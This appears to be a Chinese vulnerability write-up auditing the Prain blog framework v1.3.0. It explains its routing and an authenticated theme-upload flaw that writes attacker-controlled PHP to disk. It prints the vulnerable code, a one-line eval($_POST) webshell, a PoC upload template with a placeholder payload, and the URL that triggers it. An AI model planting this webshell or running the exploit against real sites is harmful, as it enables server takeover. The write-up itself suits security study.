Prain清雨博客v1.3.0审计
某比赛里面出现的一道题目 
赛时都花时间在做渗透上面了 今天抽出点时间来看看
路由
这个是一个极度轻量化的博客框架 所有的路由控制都在index.php这一个文件里面
首先调用他定义的get方法

这里我们访问的是/目录 为空 默认为index
使用$_SERVER[‘REQUEST_URI’]获取访问的路由

一系列的匹配之后 返回了XDEBUG_SESSION_START=18778这个值
后面就是一系列包含文件 检验安装的操作
然后进到switch里面 查询是否有匹配的路由 存在则反感会页面 否则返还404
比如index 访问/?index

这里显然不存在这个文件 返回空

后台插件rce漏洞
该漏洞需要登录 漏洞点出现在?import路由

这个是一个上传主题的地方 这个博客允许上传自定义主题
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'sx'){$itype = get(1,'str','system');
 $sx = file_get_contents($_FILES['file']['tmp_name']);
 
 !preg_match('/\s*#\s*Id:\s*(.+)/', $sx, $id) && err('应用缺少Id');
 !preg_match('/^[a-zA-Z]+[a-zA-Z0-9_-]+$/',$id[1]) && err('应用Id格式不正确');
 !check($id[1],'length',1,30) && err('应用Id长度限制1-30');
 
 !preg_match('/\s*#\s*Type:\s*(.+)/', $sx, $type) && err('应用缺少Type');
 if($type[1] !== 'tpl' && $type[1] !== 'ext' && $type[1] !== 'system') err('应用Type不正确');
 if(preg_match('/\s*#\s*Limit:\s*(.+)/', $sx, $limit)){
 $v1 = str_replace('.','',$limit[1]);
 $v2 = str_replace('.','',V);
 if((int)$v1 > (int)$v2) err('你的清雨版本太低,无法安装使用,需要升级到v'.$limit[1].'及以上');
 }
 
 | 
这里限定了上传的文件后缀必须是sx 文件内容需要包含
Id Type Limit几个标识符 校验通过之后调用unsx去解析

注意到这里 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | if(count($arr) === 1 && substr($arr[0],0,3) === 'SX.') $arr = explode("\n",base64_decode(substr($arr[0],3)));foreach ($arr as $v) {
 preg_match('/^\[(dir|file)\s(.*?)\](.+?)$/', $v, $m);
 if($m){
 $f = str_replace('\\','/',$m[2]);
 if(substr($f,0,1) === '/' || stristr($f,'..') !== false) continue;
 if($m[1] == 'dir'){
 $util->createDir($path.$f);
 }elseif($m[1] == 'file'){
 $value = str_replace(['_@rn@_','_@r@_','_@n@_','_@_'],["\r\n","\r","\n",'@'],$m[3]);
 $util->createFile($path.$f,$value);
 }
 }
 }
 
 | 
这里实际上就查找了SX.开头的哪一行 然后将后面的内容base64解析 将几个关键词替换成\r\n 然后基本上没处理 传入了createFile里面

这里就是直接创建了一个文件 文件名前面的ROOT控制 文件内容由刚刚传入的那个base64文件控制 
我们下载官方的主题文件看看(base64解码后)
| 12
 3
 4
 
 | [file conf.php]<?php_@n@_return array (_@n@_	'id' => 'default',_@n@_	'type' => 'tpl',_@n@_	'author' => 'éªæ´',_@n@_	'name' => 'é»è®¤ä¸»é¢',_@n@_	'intro' => 'å®ç½é»è®¤ä¸»é¢ã',_@n@_	'price' => 0,_@n@_	'home' => 'https://xueluo.cn',_@n@_	'version' => '1.1.0',_@n@_	'limit' => '1.2.0'_@n@_);_@n@_?>[file footer.php]<?php exit('404');?>_@rn@_	</div>_@rn@_	<div class="footer">_@rn@_		<div class="footer-left">_@rn@_			<span>© 2021 <a href="/" class="a-line">{$conf.name}</a> All Rights Reserved.</span>_@rn@_			<span>弿ºç³»ç» - <a href="https://prain.cn" target="_blank">æ¸
é¨v{
 [file header.php]<?php exit('404'); ?>_@rn@_<!DOCTYPE html>_@rn@_<html lang="zh-Hans">_@rn@_<head>_@rn@_	<!-- hook.head_header -->_@rn@_	<meta http-equiv="Content-Type" content="text/html" charset="UTF-8" />_@rn@_	<title>{$conf.title}</title>_@rn@_	<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />_@rn@_	<meta name="keywords" content="{$conf.key}" />_@rn@_	<meta name="description" content="{$conf.desc}" />_@rn@_	<!-- hook.meta -->_@rn@_	<link rel="shortcut icon" href="{#LIB_STYLE}logo.svg"/>_@rn@_    <link rel="stylesheet" href="{#LIB_STYLE}fk.css"/>_@rn@_	<link rel="stylesheet" href="{#TPL_STYLE}main.css?v={#time()}"/>_@rn@_	<!-- hook.css -->_@rn@_	<script src="{#LIB_STYLE}common.js"></script>_@rn@_	<script src="{#TPL_STYLE}main.js"></script>_@rn@_	<!-- hook.script -->_@rn@_	<!-- hook.head_footer -->_@rn@_</head>_@rn@_<body>_@rn@_	<!-- hook.body_header -->_@rn@_	<div class="header">_@rn@_		<div class="header-title"><img src="{
 [file icon.png]PNG_@rn@__@n@_
 
 | 
第一个会写入到对应的tpl路由下

由于这个路由写在都是index内 使用?index访问 而其他文件如果知道位置就可以直接访问
如果把文件改成
| 1
 | [file conf.php]<?php_@n@_eval($_POST[1]);_@n@_return......
 | 
就能访问对应的路由完成rce
poc
需要登录
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | # 清雨应用文件# Id: default1
 # Type: tpl
 # Name: 默认主题
 # Intro: 官网默认主题。
 # Price: 0
 # Home: https://xueluo.cn
 # Author: 雪洛
 # Version: 1.1.0
 # Limit: 1.2.0
 
 
 SX.插入shell语句后的base64
 
 | 
上传后访问

| 1
 | http://url/tpl/default1/conf.php
 | 
成功rce

他的密码直接写在了config这个变量上 然后所谓登录就是取hash比较一下 这个过程没找到能直接绕过的地方 应该是要配合其他方法才能利用这个漏洞